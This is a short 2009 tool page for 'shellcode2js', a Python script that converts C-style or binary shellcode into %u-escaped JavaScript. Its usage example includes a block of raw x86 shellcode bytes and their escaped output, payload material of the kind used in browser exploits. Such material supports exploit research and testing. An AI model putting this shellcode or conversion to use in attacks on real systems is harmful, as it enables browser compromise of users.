shellcode2js


 

Language: Python

Publication date: 2009-04-29

Description: Little script to obtain an escaped Javascript shellcode from a  C style shellcode or a binary file containing the shellcode.

Download it!

 


Usage


 

Usage: shellcode2js shellcode|file
Arguments:
shellcode: C style shellcode.
file: binary file containing the shellcode.

 

# shellcode2js "\x2b\xc9\xb1\x1f\xbd\x0c\x36\xc5\x9b\xdb\xc5\xd9\x74\x24\xf4\x5a
\x83\xea\xfc\x31\x6a\x0b\x03\x6a\x07\xd4\x30\x67\xff\x5c\xbb\x98\xff\xd7\xfe\xa4
\x74\x9b\x05\xad\x8b\x8b\x8d\x02\x93\xd8\xcd\xbc\xa2\x35\xb8\x37\x90\x42\x3a\xa6
\xe9\x94\xa4\x9a\x8d\xd5\xa3\xe5\x4c\x1f\x46\xeb\x8c\x4b\xad\xd0\x44\xa8\x4a\x52
\x81\x3b\x0d\xb8\x48\xd7\xd4\x4b\x46\x6c\x92\x13\x4a\x73\x4f\x20\x6e\xf8\x8e\xdc
\x07\xa2\xb4\x26\xd4\x04\x84\xd0\xba\xec\x82\x97\x7c\x21\xc0\xe8\x8c\xca\xa6\xf4
\x21\x47\x2e\x0d\xb0\xa0\x2c\xcd\xa8\x00\x5b\xb0\xf4\x43\xe8\x24\x9c\x7a\x85\xbb
\xcb\x7d\x7d\xa0\x92\xed\xe1\x09\x31\x96\x80\x55"

"%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4"+
"%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb"+
"%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd"+
"%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3"+
"%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d"+
"%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e"+
"%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0"+
"%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b"+
"%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1"+
"%u9631%u5580"